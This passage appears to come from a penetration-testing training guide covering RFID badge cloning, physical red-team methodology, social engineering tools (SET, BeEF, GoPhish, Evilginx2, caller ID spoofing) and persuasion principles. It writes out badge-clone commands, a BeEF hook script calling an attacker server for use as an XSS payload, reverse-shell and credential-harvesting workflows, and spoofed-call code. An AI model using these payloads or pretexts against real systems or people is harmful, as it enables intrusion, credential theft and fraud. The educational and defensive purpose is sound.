HID Prox Cards (125kHz): The most common corporate access control card in the United States. Manufactured by HID Global, these cards operate at 125kHz and, in their standard configuration, transmit an unencrypted facility code and card number. They are functionally equivalent to EM4100 cards from a security perspective — the data is readable and replayable by any appropriate device. More sophisticated HID implementations use iCLASS technology (13.56MHz with encryption), but many organizations use Prox cards for cost reasons.

MIFARE Classic (13.56MHz): A widely deployed 13.56MHz card with encryption, but a specific implementation of encryption that has been cryptanalytically broken. Multiple academic papers published since 2008 have demonstrated that MIFARE Classic cards can be cloned despite their encryption. They are significantly more secure than 125kHz cards but should not be considered a strong security control for high-security environments.

MIFARE DESFire EV2/EV3 (13.56MHz): Currently considered a strong access control technology. Uses AES-128 encryption with proper mutual authentication between card and reader. Significantly harder to clone than previous generations. This is the technology recommended for new installations and for security-critical environments.

Mobile credentials (NFC on smartphones): An emerging access control approach using NFC-enabled smartphones as credentials. Security varies by implementation — some use the same underlying protocols as MIFARE DESFire (strong), others use Bluetooth-based systems with varying security characteristics.

How Badge Cloning Works

Badge cloning is the process of reading the data stored on an authorized badge and writing that data to a blank, writable card, creating a functional duplicate that the access control system cannot distinguish from the original.

The reading phase: The attacker must come within the reading range of the target badge. For 125kHz cards, the typical reading range with consumer-grade equipment is a few centimeters — requiring close physical proximity. With purpose-built long-range readers (some capable of reading badges at distances of 30cm to over 1 meter), the badge can be read through a bag, pocket, or jacket without the target's awareness.

The attacker might:

Stand behind a target in a queue, concealing the reader in a bag or laptop case
Position a concealed reader at a point where badges are predictably presented (near a card reader location)
Sit adjacent to a target in a meeting, allowing extended close proximity

The writing phase: The captured card data is written to a writable blank card using the appropriate writer hardware. This is straightforward for 125kHz cards — the fixed serial number is simply replicated. For encrypted cards, the writing phase may require additional steps including cryptographic key recovery.

The use phase: The cloned card is presented to access readers. For 125kHz cards in basic installations, the system simply validates the facility code and card number — which match the original card — and grants access. Systems without anti-passback controls (which would flag two uses of the same card number within a short timeframe) cannot detect the duplication.

Equipment for Authorized Badge Cloning Assessment

Primary tools for authorized physical security assessments:

Proxmark3 (most versatile professional tool):
- Supports 125kHz LF (HID Prox, EM4100) and 13.56MHz HF (MIFARE, DESFire)
- Can read, analyze, and clone many card types
- Active community developing new attack modules
- Cost: $200-500 USD
- Open-source firmware: https://github.com/RfidResearchGroup/proxmark3

Commands (authorized assessment examples):
proxmark3> lf search            # Search for 125kHz signal
proxmark3> lf hid read          # Read HID Prox card
proxmark3> lf hid clone -r [ID] # Clone to T5577 writable card
proxmark3> hf search            # Search for 13.56MHz signal
proxmark3> hf mf info           # Get MIFARE card information
proxmark3> hf mfdes info        # Get DESFire card information

FlipperZero (consumer-grade multi-protocol device):
- Supports 125kHz LF and 13.56MHz NFC
- Can read and emulate many 125kHz cards
- User-friendly interface
- Cost: ~$170 USD
- Note: Legally restricted in some jurisdictions for certain functions

RFID Thief (purpose-built covert reader):
- Designed for covert badge reading in close proximity
- Slim profile allows concealment in everyday items
- Long-range variants (30cm+) available for more distant reading

The Implications of Badge Cloning for Physical Security Assessment

When a physical penetration tester demonstrates badge cloning in an authorized assessment, the finding is almost always a critical or high severity:

A cloned badge provides physical access to every area the original badge accesses. If the cloned credential belongs to an IT administrator whose badge opens server rooms, data centers, and executive areas, the attacker gains unrestricted physical access to the organization's most sensitive physical spaces.

Physical access enables a cascade of subsequent attacks: network implant placement, hardware keylogger installation, USB attack device placement, server room access for direct console connection, and documentation and asset theft.

The defense requires technology upgrade and procedural change:

Technology upgrade to encrypted credentials (MIFARE DESFire or mobile credentials) eliminates the technical vulnerability of legacy card cloning.

Anti-passback controls flag when the same credential is used twice within a timeframe that would be impossible for a single physical user (e.g., entering through the same door twice without exiting). This provides some protection against cloned credential use.

Multi-factor physical access (badge + PIN, badge + biometric) prevents cloned badge attacks entirely, as the attacker would also need the PIN or biometric factor.

Regular access audit logs help detect anomalous access patterns that might indicate credential cloning — the same badge number used in two physical locations simultaneously, or access at unusual times.

4.3.6 Physical Attack Methodology — The Complete Red Team Approach

The Physical Penetration Test Lifecycle

A professional physical security assessment is not simply "try to get in the building." It is a structured engagement that mirrors the full penetration testing methodology applied to physical space.

Phase 1 — External reconnaissance:

Before approaching the building, extensive external observation is conducted. The assessor photographs all entry and exit points, identifies guard positions and patrol patterns, notes camera placements and their coverage angles, identifies delivery entrances and service access points, watches employee patterns (when do most employees arrive? When do deliveries occur?), and identifies any physical security blind spots.

This reconnaissance is typically conducted without authorization requirements (observing a building's exterior from public property is not a crime) but should be done inconspicuously to avoid alerting security before the authorized assessment begins.

Phase 2 — Pretext and persona preparation:

Based on reconnaissance, the assessor determines the most viable approach. Common physical penetration test personas include:

IT vendor technician ("I'm here to check the network equipment in Server Room 2")
Building maintenance contractor ("I have a work order for HVAC maintenance")
New employee still getting their access ("I just started last week and I'm still waiting for my badge")
Delivery driver with a package requiring signature
Fire safety inspector or compliance auditor

Each persona requires appropriate props: appropriate attire, realistic tools or documentation, a convincing cover story, and sufficient knowledge of the role to handle questions.

Phase 3 — Physical social engineering and entry:

The assessor approaches the building using the chosen persona and technique. They may attempt multiple entry vectors: the main lobby, a side entrance, a delivery dock, a car park with internal access. Each vector tests a different aspect of the physical security posture.

Phase 4 — Internal operations and objectives:

Once inside, the assessor attempts to:

Access secured internal areas (server rooms, data center, executive floors)
Plant network implant devices (authorized implants that provide evidence of successful access and may provide actual internal network access for subsequent technical testing)
Access workstations or find unlocked screens with sensitive data
Photograph sensitive documents, whiteboards, or systems
Retrieve discarded sensitive documents
Test specific physical security controls (do server room doors lock properly? Are sensitive areas cameras monitored? Do employees challenge unfamiliar people?)

Phase 5 — Exit and documentation:

The assessor exits cleanly, documents all findings, and compiles evidence (photographs, video if authorized, documented access obtained, devices planted and locations).

Phase 6 — Reporting:

The report details each physical security failure with specific evidence, the attack path that was possible as a result of the failure, and specific remediation recommendations. Photographs of sensitive materials found unsecured, images of unlocked server room doors, and documentation of successful tailgating into secure areas constitute compelling evidence for security investment decisions.

4.4 Social Engineering Tools

4.4.1 Overview — The Professional Social Engineering Toolkit

The difference between a random attacker and a professional social engineering practitioner is not primarily knowledge — it is tooling. Professional tools allow social engineering attacks to be executed at scale, with tracking and metrics, with professional-grade infrastructure, and with the repeatability required for a meaningful security assessment.

This section covers the tools that professional penetration testers use for authorized social engineering campaigns. Every tool here has legitimate, authorized use cases in security testing — and every tool here can cause significant harm if used without authorization. The ethical and legal framework established in the Rules of Engagement document governs every use.

4.4.2 Social-Engineer Toolkit (SET)

Author: David Kennedy (TrustedSec)

GitHub: https://github.com/trustedsec/social-engineer-toolkit

Written in: Python

Platform: Linux (included in Kali Linux by default)

Documentation: https://github.com/trustedsec/social-engineer-toolkit/wiki

License: Apache 2.0

The Social-Engineer Toolkit — universally known as SET — is the most comprehensive open-source social engineering platform in existence. Created by David Kennedy, a renowned security researcher and consultant, SET was specifically designed to automate and standardize social engineering attack vectors for authorized penetration testing. It integrates directly with the Metasploit Framework, enabling social engineering attacks that deliver technical payloads.

SET's significance in the field is hard to overstate. It is pre-installed on Kali Linux, referenced in CompTIA PenTest+, CEH, and OSCP certification curricula, and used in red team engagements globally. David Kennedy designed it to encode real-world social engineering attack patterns in a reusable, professional framework — the same philosophy that Metasploit applies to technical exploitation.

SET's Architecture and Attack Categories

SET organizes its attack capabilities into seven primary attack vector categories:

1. Spear-Phishing Attack Vectors

The spear-phishing module allows attackers to craft targeted phishing emails with malicious attachments. It integrates with Metasploit to generate payloads — malicious Office documents, PDFs, or executables — that establish reverse shells or Meterpreter sessions when opened.

SET can automatically generate payloads using Metasploit's msfvenom tool, embed them in document templates, and manage the listener for incoming connections. The workflow:

# Launch SET
sudo setoolkit

# Main Menu Navigation:
# 1) Social-Engineering Attacks
# 2) Penetration Testing (Fast-Track)
# 3) Third Party Modules
# 4) Update the Social-Engineer Toolkit
# 5) Update SET configuration
# 6) Help, Credits, and About
# 99) Exit the Social-Engineer Toolkit

# For spear phishing:
# 1 (Social-Engineering Attacks) →
# 1 (Spear-Phishing Attack Vectors) →
# 1 (Perform a Mass Email Attack)
# SET then guides through: payload type, email service, target list, sending

# Payload options include:
# 1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
# 2. SET Custom Written Document UNC LM SMB Capture Attack
# 3. MS15-100 Microsoft Windows Media Center MCL Vulnerability
# 4. MS14-017 Microsoft Word RTF Object Confusion (2014-01-17)
# 5. Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
# ...and many more Metasploit-integrated exploits

2. Website Attack Vectors

The website attack module has several sub-options:

Java Applet Attack (legacy): A now-largely-obsolete attack that used malicious Java applets to deliver payloads when a user visited a controlled website. Modern browsers have disabled Java applets by default, making this largely non-functional, but it demonstrates SET's evolution with the threat landscape.

Metasploit Browser Exploit (Iframe/JavaScript injection): Hosts a page containing browser exploits that execute when the target visits. The target is directed to the malicious URL through phishing.

Credential Harvester: One of SET's most used features. It clones a legitimate website (Google, Office 365, LinkedIn, a company's own login portal) and hosts it locally or on a configured server. When the target visits the cloned page and enters credentials, SET captures them and (optionally) redirects the user to the real site so they notice nothing unusual.

# Credential Harvester workflow in SET:
# 1 (Social-Engineering Attacks) →
# 2 (Website Attack Vectors) →
# 3 (Credential Harvester Attack Method) →
# 2 (Site Cloner)
# Enter URL to clone: https://mail.targetco.com
# SET clones the page, sets up a listener
# Captured credentials appear in real time in the SET interface
# All captures are logged to /root/.set/reports/

Tabnabbing Attack: A particularly clever phishing technique. SET hosts a page that initially appears innocuous. When the user switches to a different browser tab, JavaScript on the page detects the tab switch and replaces the page content with a convincing fake login page. When the user returns to the tab, they see what appears to be a timed-out session requiring re-login. SET captures credentials entered in this fake session.

3. Infectious Media Generator

Generates autorun-enabled media content — payloads designed to execute when a USB drive or other removable media is connected. This is the SET component most directly supporting USB drop attacks. It generates autorun.inf files paired with Metasploit payloads, creating malicious USB drives that can establish reverse shells on target systems.

# USB attack generation:
# 1 (Social-Engineering Attacks) →
# 3 (Infectious Media Generator) →
# 1 (File-Format Exploits) or 2 (Standard Metasploit Executable)
# Payload is generated and placed in /root/.set/autorun/
# Content is copied to USB drive for physical deployment

4. Create a Payload and Listener

Standalone payload generation and listener management — effectively a simplified interface to Metasploit's msfvenom for creating standalone executables, scripts, and other payloads for delivery through social engineering channels.

5. Mass Mailer Attack

A bulk email delivery module for mass phishing campaigns. Allows configuration of email templates, SMTP settings, and target lists. Less commonly used by professionals than GoPhish for bulk campaigns (GoPhish provides better tracking and reporting), but useful for quick, integrated campaigns where payload delivery is more important than detailed per-recipient tracking.

6. Arduino-Based Attack Vector

Manages HID attack payloads for Arduino-based USB attack devices (including Teensy and similar microcontrollers). Generates DuckyScript or Arduino payloads for keystroke injection attacks.

7. Wireless Access Point Attack Vector

Creates rogue wireless access points that impersonate legitimate networks, enabling MitM attacks against targets who connect. Integrates with other SET modules to deliver browser exploits, credential harvesters, or payloads to connected clients.

SET Integration with Metasploit

SET's deepest capability comes from its Metasploit integration. When SET generates a payload, it uses msfvenom (Metasploit's payload generation tool) and automatically configures a Metasploit multi/handler listener to receive the resulting connection. This means a successful social engineering attack that gets a user to open a SET-generated payload automatically delivers a Meterpreter or reverse shell session directly into Metasploit — ready for post-exploitation.

# The complete SET → Metasploit workflow:
# SET generates payload embedded in a document
# Document is delivered via email phishing
# Target opens the document
# Payload executes and connects back to:
#   LHOST (attacker IP): configured in SET
#   LPORT: configured in SET
# Metasploit's multi/handler receives the connection
# Attacker has a Meterpreter session for post-exploitation:
#   meterpreter > sysinfo
#   meterpreter > getuid
#   meterpreter > hashdump
#   meterpreter > shell
#   meterpreter > run post/multi/recon/local_exploit_suggester

SET Configuration File

SET's behavior is extensively customizable through its configuration file at /etc/setoolkit/set.config:

# Key SET configuration options:
METASPLOIT_PATH=/usr/share/metasploit-framework  # Metasploit location
APACHE_SERVER=OFF                                 # Use Apache for web attacks
APACHE_DIRECTORY=/var/www/html                   # Web root
HARVESTER_REDIRECT=ON                            # Redirect after harvesting
HARVESTER_URL=                                   # Redirect destination URL
JAVA_APPLET=OFF                                  # Java applet attacks
SELF_SIGNED_APPLET=OFF                           # Self-signed cert
EMAIL_ADDRESS=                                   # SMTP sender address
SENDMAIL_PATH=/usr/sbin/sendmail                 # Mail transfer agent
SENDGRID_API_KEY=                               # SendGrid API key

4.4.3 Browser Exploitation Framework (BeEF)

Official site: https://beefproject.com

GitHub: https://github.com/beefproject/beef

Written in: Ruby (server), JavaScript (hook)

Platform: Linux (included in Kali Linux)

License: GPL-3.0

BeEF — Browser Exploitation Framework — occupies a unique position in the social engineering toolkit. While SET focuses on delivering payloads through email, web cloning, and physical media, BeEF specifically targets the web browser as its exploitation surface. When a target visits a page containing BeEF's JavaScript hook, their browser becomes a command-and-control node that the attacker can interact with in real time through BeEF's web-based dashboard.

The Core BeEF Concept — Browser Hooking

The attack begins with a single line of JavaScript — the hook — embedded in a web page the target visits. This hook might be placed in:

A phishing page hosted by the attacker
A legitimate website that has been compromised (a watering hole attack)
An XSS vulnerability in a legitimate web application that the target authenticates to
A rogue Wi-Fi access point that injects the hook into HTTP responses

When the target visits the hooked page, the JavaScript executes in their browser and establishes a persistent connection back to the BeEF server. This connection is maintained through continuous polling — the hook repeatedly contacts the BeEF server for new commands, executing them in the browser context and returning results.

// The BeEF hook (single line that compromises the browser session):
<script src="http://attacker-server:3000/hook.js"></script>

// This line, when loaded in a target's browser, provides:
// - Browser type, version, and installed plugins
// - Operating system information
// - Geolocation (with permission)
// - Cookie access (for the hooked domain)
// - Ability to execute arbitrary JavaScript in the browser context
// - Ability to display fake dialogs and forms
// - Gateway to Metasploit browser exploits

BeEF's Command Module Categories

BeEF organizes its capabilities into modules organized by category. The traffic light color coding in BeEF's interface indicates a module's likely success and stealth:

Green modules: Work on any browser, completely transparent to the user, detected by very few AV products.

Orange modules: Work on some browsers, may create visible effects, detected by some AV products.

Red modules: May crash the browser or cause visible errors, detected by many AV products.

Grey modules: Unknown effectiveness, potentially unreliable.

Key capability categories:

Network (Internal network discovery from browser context)
├── Get Internal IP Address
├── Identify LAN Subnets  
├── Port Scanner (via browser to internal targets)
├── DNS Enumeration
└── Finger clients on LAN

Browser (Browser-specific attacks and information)
├── Detect Installed Software
├── Detect Plugins
├── Browser Fingerprinting
├── Steal AutoComplete Data
└── Get All Cookies

User Interface (Social engineering via browser dialog)
├── Alert Dialog
├── Custom Popup
├── Create Fake Notification Bar (fake browser security warning)
├── Pretty Theft (fake login dialog overlay)
├── Fake Flash Update (convincing fake plugin update)
└── Webcam / Microphone access (with user permission dialog)

Metasploit Integration
├── Browser Autopwn (automated exploit selection and delivery)
├── Specific CVE exploits for browser versions
└── Integration with Metasploit sessions

Persistence
├── Man-in-the-Browser (MITB) attacks
├── Session Hijacking
└── Persistent Cookie injection

The Pretty Theft Module — A Detailed Example

The Pretty Theft module demonstrates BeEF's social engineering sophistication. It overlays the target's current browser window with a fake dialog that exactly mimics a legitimate re-authentication request from the domain the target is currently visiting. The dialog's appearance is customizable — it can match Google, Facebook, Windows credentials, or any configured target.

When the target enters their credentials in the fake dialog (believing they are re-authenticating to the legitimate service), BeEF captures those credentials and returns them to the attacker in real time. The overlay then disappears, and the user continues their normal session — often completely unaware that anything happened.

# BeEF workflow:
# 1. Start BeEF
sudo beef-xss
# Access panel at: http://127.0.0.1:3000/ui/panel
# Default credentials: beef/beef (change immediately)

# 2. Deliver the hook via phishing email containing a link to:
# http://attacker-server/hook_page.html

# 3. When target visits, their browser appears in BeEF panel
# Under "Hooked Browsers" → select target browser

# 4. Execute Pretty Theft module:
# Commands → Social Engineering → Pretty Theft
# Configure: target platform (Facebook, Google, etc.)
# Execute

# 5. Credentials captured in real time in BeEF panel
# Available under Commands → module output

# 6. Combine with Metasploit:
# Commands → Metasploit → Browser Autopwn 2
# BeEF automatically identifies browser version and selects appropriate exploit
# Delivers Metasploit payload through the browser

BeEF in XSS Exploitation Context

One of BeEF's most powerful use cases is in web application penetration testing. When a cross-site scripting (XSS) vulnerability is found in a web application, the typical demonstration is capturing an alert box — a relatively low-impact proof of concept. BeEF transforms an XSS vulnerability into a full browser compromise by injecting the hook as the XSS payload:

<!-- XSS payload that hooks the victim's browser into BeEF: -->
<script src="http://attacker-server:3000/hook.js"></script>

<!-- In a stored XSS context (e.g., a forum post or comment field): -->
<!-- Every user who loads the page becomes a hooked zombie in BeEF -->
<!-- The attacker can then execute commands against any hooked browser -->

This transforms a "medium" severity finding (stored XSS) into a "critical" finding (full browser compromise enabling credential theft, session hijacking, and potential remote code execution through browser exploits).

4.4.4 Call Spoofing Tools — The Infrastructure of Vishing

Caller ID spoofing is the technical foundation of professional vishing campaigns. For authorized penetration testing, several tools and services provide caller ID control:

SpoofCard and Commercial Spoofing Services

Commercial caller ID spoofing services allow calls to display any specified caller ID number. The attacker dials the spoofing service, specifies the target number and the desired caller ID, and the service routes the call with the specified identification.

These services are used legitimately (law enforcement, privacy protection) and for fraud. In authorized penetration testing, they are a straightforward way to make calls appear to originate from internal corporate numbers, vendor phone numbers, or government agencies.

Twilio — Programmable Voice for Authorized Testing

Twilio is a cloud communications platform that provides programmable telephone services, including full control over caller ID for outgoing calls. It is the professional penetration tester's preferred infrastructure for vishing campaigns because it provides:

# Twilio Python SDK for authorized vishing calls
from twilio.rest import Client

account_sid = "your_account_sid"
auth_token = "your_auth_token"
client = Client(account_sid, auth_token)

# Make a call with spoofed caller ID
call = client.calls.create(
    to="+1-555-TARGET",               # Target number
    from_="+1-555-SPOOFED",           # Caller ID to display
    url="https://handler.twilio.com/twiml/EH...",  # TwiML for call routing
    record=True                        # Record for evidence (with authorization)
)

# For automated vishing scenarios, TwiML defines call behavior:
# Text-to-speech for initial contact, then transfer to live operator
# Or: play recorded message and gather DTMF input

Twilio's legitimacy advantage: Unlike underground spoofing services, Twilio is a legitimate business communications provider. This means the caller ID shows as the specified number without the "SPOOFED CALL" warning that some carrier-level anti-spoofing measures apply to known spoofing services.

Asterisk PBX for Internal Infrastructure

For organizations with dedicated red team infrastructure, Asterisk (open-source PBX) allows complete control over outgoing caller ID without relying on third-party services:

# Asterisk outbound dial with custom caller ID
# In extensions.conf:
[outbound-calls]
exten => s,1,Set(CALLERID(num)=+15551234567)   # Spoofed number
exten => s,2,Set(CALLERID(name)=Target Company IT)  # Spoofed name  
exten => s,3,Dial(SIP/sip-provider/${EXTEN})

# This routes outgoing calls through a SIP provider with full caller ID control

Voice Cloning Technologies — The AI Evolution

The emergence of AI-powered voice cloning represents a significant evolution in vishing capability. Platforms that can clone a person's voice from audio samples now exist at accessible price points:

ElevenLabs, Resemble AI, and similar platforms can clone voice characteristics from as little as a few minutes of audio. Once cloned, the synthetic voice can read arbitrary text in real time or batch-generate audio files.

For authorized social engineering testing, voice cloning enables simulation of the AI-augmented vishing attacks that real threat actors are already deploying. Testing an organization's detection and response to a voice-cloned executive is a meaningful and increasingly necessary component of comprehensive social engineering assessments.

Legal and ethical considerations: Voice cloning of real individuals without their consent is illegal in many jurisdictions and deeply ethically problematic. In authorized assessments, voice cloning should only be performed with explicit consent of both the engaging organization and (ideally) the individual whose voice is cloned. Reports should clearly document the capability demonstrated without enabling misuse of the cloned voice material.

4.4.5 GoPhish — Professional Phishing Campaign Management

GitHub: https://github.com/gophish/gophish

Written in: Go

Platform: Linux, Windows, macOS

License: MIT

GoPhish is the gold standard tool for managing phishing campaigns in authorized penetration testing engagements. Unlike SET's all-in-one approach, GoPhish focuses specifically on the email delivery and tracking components of phishing campaigns — providing a professional web-based campaign management interface.

# Installation
wget https://github.com/gophish/gophish/releases/latest/download/gophish-*.zip
unzip gophish-*.zip && cd gophish
./gophish &
# Access at https://127.0.0.1:3333 (default admin credentials in config.json)

# GoPhish campaign structure:
# 1. Sending Profile: SMTP server, from address, display name
# 2. Email Template: Subject, body (HTML), attachments
# 3. Landing Page: Phishing page (can import from URL automatically)
# 4. Target Group: List of target email addresses and names
# 5. Campaign: Combines above into a trackable, schedulable campaign

What GoPhish tracks per target:

Email sent (timestamp)
Email opened (via tracking pixel)
Link clicked (tracked redirect)
Credentials submitted (captured by landing page)
Email reported (if reporting integration configured)

These per-user metrics are what make GoPhish invaluable for security awareness program measurement — the campaign data shows exactly who is susceptible, allowing targeted training for high-risk individuals.

4.4.6 Evilginx2 — Adversary-in-the-Middle Phishing

GitHub: https://github.com/kgretzky/evilginx2

Author: Kuba Gretzky

Written in: Go

Purpose: MFA-bypassing AitM phishing framework

Evilginx2 represents a significant advancement over traditional credential harvesting phishing. It operates as a full reverse proxy — intercepting authentication between the target and the real service — enabling it to capture not just credentials but also the post-authentication session token, effectively bypassing multi-factor authentication.

How it differs from credential harvesting:

Traditional credential harvesting (via SET or GoPhish landing pages) captures the username and password. If the target has MFA enabled, the captured credentials are immediately useless — the attacker cannot authenticate without the second factor.

Evilginx2 proxies the entire authentication flow. The target believes they are authenticating to the real service; Evilginx2 relays every interaction to the real service while capturing the session cookie that results from successful authentication — including the second factor. The captured session cookie can then be used to access the target's authenticated session without needing to re-authenticate or present MFA.

Attack flow:

1. Target receives phishing link to attacker's domain (proxied to real service)
2. Target visits phishing domain → Evilginx2 fetches real login page and serves it
3. Target enters credentials → Evilginx2 captures them and relays to real service
4. Real service sends MFA challenge → Evilginx2 relays to target
5. Target completes MFA → Evilginx2 captures session cookie from response
6. Target sees successful login → Evilginx2 also has the session cookie
7. Attacker imports session cookie to browser → accesses target's account fully authenticated

Result: MFA is completely bypassed through session token theft rather than credential capture

This technique is responsible for a significant number of real-world credential compromises in cloud environments — particularly Microsoft 365 and Google Workspace accounts — making it a critical component of realistic phishing assessments for organizations that use MFA.

4.4.7 Supporting Tools and Infrastructure

Gophish + Evilginx2 integration: These tools are often combined, with GoPhish managing email delivery and tracking while Evilginx2 handles the actual phishing site for sophisticated MFA-bypass campaigns.

O365 Spray / MSOLSpray: For password spraying against Microsoft 365 targets identified through phishing or OSINT. Tests a single password against many accounts to avoid lockout while credential verification proceeds.

Maltego: OSINT aggregation and visualization platform used for gathering and correlating intelligence before social engineering campaigns. The visual link graph reveals relationship patterns between employees, organizations, and technical infrastructure that feed into pretext construction.

HTTrack / wget: Website cloning tools for creating offline copies of login portals and other target web pages for use as phishing landing pages.

dnstwist: Identifies typosquatted domain variants for a target domain — potential phishing infrastructure to register, and existing phishing infrastructure to report.

Canary Tokens: Free, legitimate service that generates tracking tokens (URLs, documents, DNS lookups, more) that alert when triggered. Used defensively to detect unauthorized access; used offensively in assessment contexts to verify that dropped USB drives are connected or phishing links are clicked.

4.5 Methods of Influence — The Complete Psychological Framework

4.5.1 Overview — How Influence Actually Works

Section 4.1 introduced Cialdini's six principles in the context of pretexting and pretext design. This section examines them at a deeper level — as operational tools that can be consciously applied and combined in social engineering campaigns, and as psychological mechanisms that defenders must understand deeply enough to build genuine resistance against.

The critical insight for professional practice is this: influence principles work not because targets are stupid or naive, but because they describe fundamental features of how human cognition processes social information. The same mechanisms that make us functional social beings — our tendency to reciprocate, to follow authority, to look to peers for guidance — are the exact mechanisms that make us vulnerable to social engineering.

This means that knowing about these principles does not immunize you against them. Research by Cialdini and subsequent investigators has consistently shown that even people who are aware of influence techniques remain susceptible to them in real-world conditions — particularly when they are under cognitive load, emotional stress, or time pressure. The brain's reliance on heuristics is not a design flaw that knowledge can disable; it is an architecture feature that operates below the level of conscious control.

What knowledge does provide is the possibility of creating the conditions under which these heuristics are less likely to fire inappropriately. Well-designed organizational security procedures, verification requirements, and challenge cultures are effective not because they eliminate the psychological mechanisms — they cannot — but because they create structural barriers that require explicit, conscious evaluation rather than heuristic compliance.

4.5.2 The Six Cialdini Principles in Operational Depth

1. Reciprocity — The Obligation Engine

The principle in depth:

The reciprocity norm is arguably the most universally observed social rule across all human cultures. Sociologist Alvin Gouldner documented this in his landmark 1960 paper "The Norm of Reciprocity," establishing that reciprocity is a foundational social institution rather than a culture-specific practice. When we receive a favor, gift, or service, we experience a genuine psychological obligation to return something of comparable value.

What makes reciprocity particularly powerful from an influence perspective is the asymmetry between giving and receiving: the obligation created by receiving a gift is often larger than the cost to the giver. Giving a small, thoughtful gift can create a reciprocity obligation significantly more valuable than the gift itself. This is why free samples work in marketing, why charities send address labels with solicitations, and why social engineers provide small favors before asking for large ones.

The neurological basis: Reciprocity activates the brain's reward system when we fulfill it and creates genuine discomfort (activation of insula and anterior cingulate cortex — regions associated with social pain) when we fail to reciprocate. This discomfort is not metaphorical; it is physically experienced as social anxiety.

Operational application:

In a phishing pretext, reciprocity might be implemented as: providing genuinely useful information to the target before the attack request. "I wanted to let you know we've fixed the sync issue you were probably seeing with the HR portal — should be working now." After this helpful interaction, requesting a credential verification feels like a natural reciprocation of the help provided.

In vishing, reciprocity is established through the assistance-first pattern: solve a minor technical problem for the target before requesting access to their account for "verification purposes."

In long-form social engineering, reciprocity is built over weeks through a pattern of small, genuine helpfulness before the attack conversation occurs.

Organizational defense: Policies requiring verification regardless of perceived relationship or prior helpfulness. "Someone who helps me does not thereby earn the right to bypass security verification." Explicitly training employees that favors from unknown callers should increase rather than decrease their skepticism.

2. Commitment and Consistency — The Identity Lock

The principle in depth:

Once people commit to a position, action, or identity, they experience powerful pressure to maintain consistency with that commitment. This mechanism is so strong that people will maintain commitments even when the original reason for the commitment no longer applies — Cialdini calls this the "lowball technique" in sales contexts.

The psychological basis is cognitive dissonance: inconsistency between our actions and our self-concept creates genuine psychological discomfort. We are highly motivated to behave consistently with how we see ourselves and how we have committed to behaving. When we are first asked to make a small, easy commitment, we adjust our self-concept to include that commitment — and then maintain it even under circumstances where we would not have agreed to the full commitment originally.

The foot-in-the-door principle (documented by Freedman and Fraser, 1966) is the classic experimental demonstration: people who agreed to a small initial request (display a small sign in their window) were significantly more likely to agree to a large subsequent request (allow a large sign in their yard) than people who received only the large request. The small initial commitment reshaped the self-concept — "I'm the kind of person who supports this cause" — which then drove compliance with larger requests.

Operational application:

The step-by-step information extraction is the primary application. Each small disclosure (name, department, employee ID, manager's name) is a commitment. Having made each disclosure, the target has established a compliance pattern that makes the next, slightly larger request more consistent with their established behavior. The target who refuses at step five is behaving inconsistently with themselves — a powerful psychological pressure toward continued compliance.

In long-form social engineering, asking a target to agree to small procedural commitments ("Is it okay if I follow up with you tomorrow?", "Would you be able to help with the verification process?") creates commitment chains that make substantive assistance feel like the natural continuation of already-established agreements.

Organizational defense: Single-step authorization procedures that require verification at the moment of compliance rather than establishing a pattern of escalating commitments. Training employees to recognize escalating request patterns. Creating organizational permission to say "no" at any point regardless of what has already been agreed to.

3. Social Proof — The Conformity Heuristic

The principle in depth:

Social proof — the tendency to use others' behavior as evidence of correct action — is an evolved heuristic with deep adaptive value. In genuinely ambiguous situations, following the crowd often leads to better outcomes than individual deviation. The problem is that this heuristic fires based on apparent social proof as readily as real social proof.

Research by Stanley Milgram (the classic obedience experiments) and subsequent behavioral psychology research has consistently demonstrated the power of social context on individual behavior. The behavior of others around us — even strangers — significantly influences our own behavior in ways that bypass conscious deliberation.

Social proof is particularly powerful in three conditions: when we are uncertain what to do, when the "others" whose behavior we observe are similar to us, and when we are in a novel situation with no prior behavioral script.

The bystander effect is the dark manifestation of this principle: in crowds, individual responsibility diffuses and the perceived social proof that "everyone else seems fine with this" prevents intervention even in crisis situations. Kitty Genovese's 1964 murder, witnessed by neighbors who did not intervene, is the most cited (though historically more complex) example.

Operational application:

"Most of your colleagues in the IT department have already completed this security verification process." The vague social proof that others have complied removes a significant barrier — if others did it, it must be safe and appropriate.

"Your manager Sarah already confirmed this from her end — we just need your verification to complete the process." This combines social proof with authority, and introduces a false consistency pressure — Sarah has committed, so you should too.

In mass phishing, creating the impression of widespread participation ("Important: All employees must complete this security update before Monday") creates social proof through apparent organizational mandate.

Organizational defense: Verification procedures that do not allow "others have already done this" to substitute for independent verification. Training employees to recognize social proof as a manipulation trigger rather than a legitimate reason for compliance. Clear organizational policies that apply individually regardless of what others do.

4. Authority — The Hierarchy Exploit

The principle in depth:

The Milgram obedience experiments (1963) remain the most disturbing demonstration of authority's power over human behavior. Milgram found that 65% of participants were willing to administer what they believed were potentially lethal electric shocks to another person when instructed by an authority figure in a lab coat. The authority figure's instructions overrode the participants' own judgment, their distress at the apparent harm they were causing, and even the victim's screams.

This is not a historical curiosity. Stanley Milgram's work has been replicated multiple times across different cultures, with remarkably consistent results. The specific percentage varies by context and implementation, but the fundamental finding — that people comply with authority figure instructions at dramatically higher rates than they do with peer requests, even for harmful actions — has been robust across decades of research.

The mechanism is not purely fear of punishment. Milgram's follow-up research established that even under conditions where punishment for non-compliance was clearly impossible, compliance rates remained elevated. The obedience is partly internalized as appropriate behavior — we have been socialized to follow authority, and this socialization is deeply embedded.

For social engineers, authority is the most reliably effective of all influence principles — not because it has the highest compliance rate in isolation, but because it is the most versatile. Authority can be combined with any pretext, any scenario, and any ask.

Authority signals that social engineers use:

Titles: "I'm the CISO," "I'm from the CEO's office," "I'm a senior IT administrator"
Institutional affiliation: "I'm from compliance," "I'm from the security audit team," "I'm from regulatory affairs"
Technical expertise: Demonstrating precise technical knowledge of internal systems
Insider knowledge: Referencing real names, systems, and events
Communication style: Confident, specific, using appropriate jargon
Urgency and decisiveness: Speaking as someone who makes decisions rather than asks

Organizational defense: Verification procedures that apply regardless of the caller's claimed authority. Explicitly training employees that authority claims require more verification, not less. A CISO cannot grant you permission to bypass verification by saying they are the CISO — they need to prove it through an out-of-band verification channel. Organizational culture that makes challenging authority in security contexts not just acceptable but expected.

5. Liking — The Rapport Manipulation

The principle in depth:

The link between liking and compliance has been documented across an extraordinary range of contexts — from sales effectiveness to jury decision-making to political candidate selection. Attractive, similar, familiar people receive systematically more compliance, more charitable interpretations of their actions, and more benefit of the doubt than people who are disliked or unfamiliar.

